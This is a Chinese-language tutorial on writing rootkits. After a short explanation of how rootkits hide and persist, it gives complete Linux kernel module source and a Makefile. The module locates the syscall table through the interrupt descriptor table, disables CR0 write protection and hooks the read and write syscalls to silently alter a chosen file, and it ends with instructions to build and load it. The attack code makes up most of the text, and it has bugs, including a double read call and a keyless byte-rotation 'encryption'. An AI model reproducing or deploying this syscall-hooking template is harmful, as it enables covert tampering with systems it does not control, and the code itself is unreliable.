rootkit原理与编写教程
rootkit原理
rootkit介绍
Rootkit的历史已经很悠久了。存在于windows,unix,linux等操作系统中。Root在英语中是根,扎根的意思,kit是包的意思。
rootkit我们可以把它理解成一个利用很多技术来潜伏在你系统中的一个后门,并且包含了一个功能比较多的程序包,例如有清除日志,添加用户,cmdshell,添加删除启动服务等功能。
当然它的设计者也要用一些技术来隐藏自己,确保不被发现。隐藏包括隐藏进程,隐藏文件,端口,或句柄,注册表的项,键值等等。
总之,写rootkit的人是利用很多办法不被发现。
windows下rootkit编写
windows编程技术
想要在windows下写rootkit,不免要调用许多windwos的API函数,为此需要对windows编程技术有一定的了解。
看了下有这本电子书,《WINDOWS黑客编程技术详解》。可以了解一下
Linux下rootkit编写
以一个文件过滤驱动为例
filter.c:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
unsigned long *sys_call_table = NULL; //系统调用表
asmlinkage ssize_t (*sys_read)(int, void *, size_t); //asmlinkage定义函数表示不从寄存器传递参数
asmlinkage ssize_t (*sys_write)(int, void *, size_t);
static char *filename = "test.c";
//S_IRUGO 内核文件权限值 charp指字符指针
module_param(filename, charp, S_IRUGO); //module_param定义模块参数用法:name,type,perm
static char *keyword = "key";
module_param(keyword, charp, S_IRUGO);
int orig_cr0;
#define STRLEN 1024
char tran_buf[STRLEN];
int len = 0;
struct _idt //中断描述表
{
unsigned short offset_low, segment_sel;
unsigned char reserved, flags;
unsigned short offset_high;
};
unsigned long *getscTable()
{
unsigned char idtr[6], *shell, *sort;
struct _idt *idt;
unsigned long system_call, sct;
unsigned short offset_low, offset_high;
char *p;
int i;
/* get the interrupt descriptor table */
//__asm__调用内联汇编程序,意为GCC支持的在C/C++代码中嵌入汇编的方式
__asm__("sidt %0"
: "=m"(idtr));
/* get the address of system_call */
idt = (struct _idt *)(*(unsigned long *)&idtr[2] + 8 * 0x80);
offset_low = idt->offset_low;
offset_high = idt->offset_high;
system_call = (offset_high << 16) | offset_low;
shell = (char *)system_call;
sort = "\xff\x14\x85";
/* get the address of sys_call_table */
for (i = 0; i < (100 - 2); i++)
if (shell[i] == sort[0] && shell[i + 1] == sort[1] && shell[i + 2] == sort[2])
break;
p = &shell[i];
p += 3;
sct = *(unsigned long *)p;
return (unsigned long *)(sct);
}
unsigned int clear_and_return_cr0(void)
{
unsigned int cr0 = 0;
unsigned int ret;
asm volatile("movl %%cr0, %%eax"
: "=a"(cr0));
ret = cr0;
/*clear the 20th bit of CR0,*/
cr0 &= 0xfffeffff;
asm volatile("movl %%eax, %%cr0"
:
: "a"(cr0));
return ret;
}
void setback_cr0(unsigned int val)
{
asm volatile("movl %%eax, %%cr0"
:
: "a"(val));
}
void encrypt(char *tran_buf, char *keyword)
{
int keylen = strlen(keyword);
printk("keylen %d\n", keylen);
int tlen = strlen(tran_buf);
printk("tlen %d\n", tlen);
int i = 0;
char temp;
while (keylen != 0)
{
temp = tran_buf[0];
for (i = 1; i < tlen - 1; i++)
{
tran_buf[i - 1] = tran_buf[i];
}
tran_buf[tlen - 2] = temp;
keylen--;
}
}
void decrypt(char *tran_buf, char *keyword)
{
int keylen = strlen(keyword);
int tlen = strlen(tran_buf);
int i = 0;
char temp = 0;
while (keylen != 0)
{
temp = tran_buf[tlen - 2];
for (i = tlen - 3; i >= 0; i--)
{
tran_buf[i + 1] = tran_buf[i];
}
tran_buf[0] = temp;
keylen--;
}
}
asmlinkage ssize_t filefilter_read(unsigned int fd, char *buf, size_t count)
{
struct file *file;
int num = sys_read(fd, buf, count);
file = fget(fd);
if (file == NULL)
return sys_read(fd, buf, count);
if (!strcmp(file->f_dentry->d_name.name, filename))
{
if (count > STRLEN)
len = STRLEN - 1;
else
len = count;
copy_from_user(tran_buf, buf, len);
decrypt(tran_buf, keyword);
copy_to_user(buf, tran_buf, len);
}
fput(file);
return num;
}
asmlinkage ssize_t filefilter_write(unsigned int fd, char *buf, size_t count)
{
struct file *file;
file = fget(fd);
if (file == NULL)
return sys_write(fd, buf, count);
if (!strcmp(file->f_dentry->d_name.name, filename))
{
//printk("name %s\n",file->f_dentry->d_name.name);
if (count > STRLEN)
len = STRLEN - 1;
else
len = count;
copy_from_user(tran_buf, buf, len);
encrypt(tran_buf, keyword);
copy_to_user(buf, tran_buf, len);
}
fput(file);
return sys_write(fd, buf, count);
}
static int filefilter_init(void)
{
sys_call_table = getscTable();
printk("sys_call_table addr %x!\n", sys_call_table);
sys_read = (ssize_t(*)(int, void *, size_t))sys_call_table[__NR_read];
sys_write = (ssize_t(*)(int, void *, size_t))sys_call_table[__NR_write];
orig_cr0 = clear_and_return_cr0();
sys_call_table[__NR_read] = (unsigned long)filefilter_read;
sys_call_table[__NR_write] = (unsigned long)filefilter_write;
setback_cr0(orig_cr0);
printk("installed!\n");
return 0;
}
static int filefilter_exit(void)
{
orig_cr0 = clear_and_return_cr0();
sys_call_table[__NR_read] = (unsigned long)sys_read;
sys_call_table[__NR_write] = (unsigned long)sys_write;
setback_cr0(orig_cr0);
printk("uninstalled!\n");
return 0;
}
module_init(filefilter_init);
module_exit(filefilter_exit);
MODULE_LICENSE("GPL");
Makefile:
.PHONY:clean
ifneq ($(KERNELRELEASE),)
obj-m += filter.o
else
PWD := $(shell pwd)
KVER := $(shell uname -r)
KDIR := /lib/modules/$(KVER)/build
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules
all:
make -C $(KDIR) M=$(PWD) modules
clean:
rm -rf *.o *.mod.c *.ko *.symvers *.order *.makers
endif
make后insmod filter.ko即可完成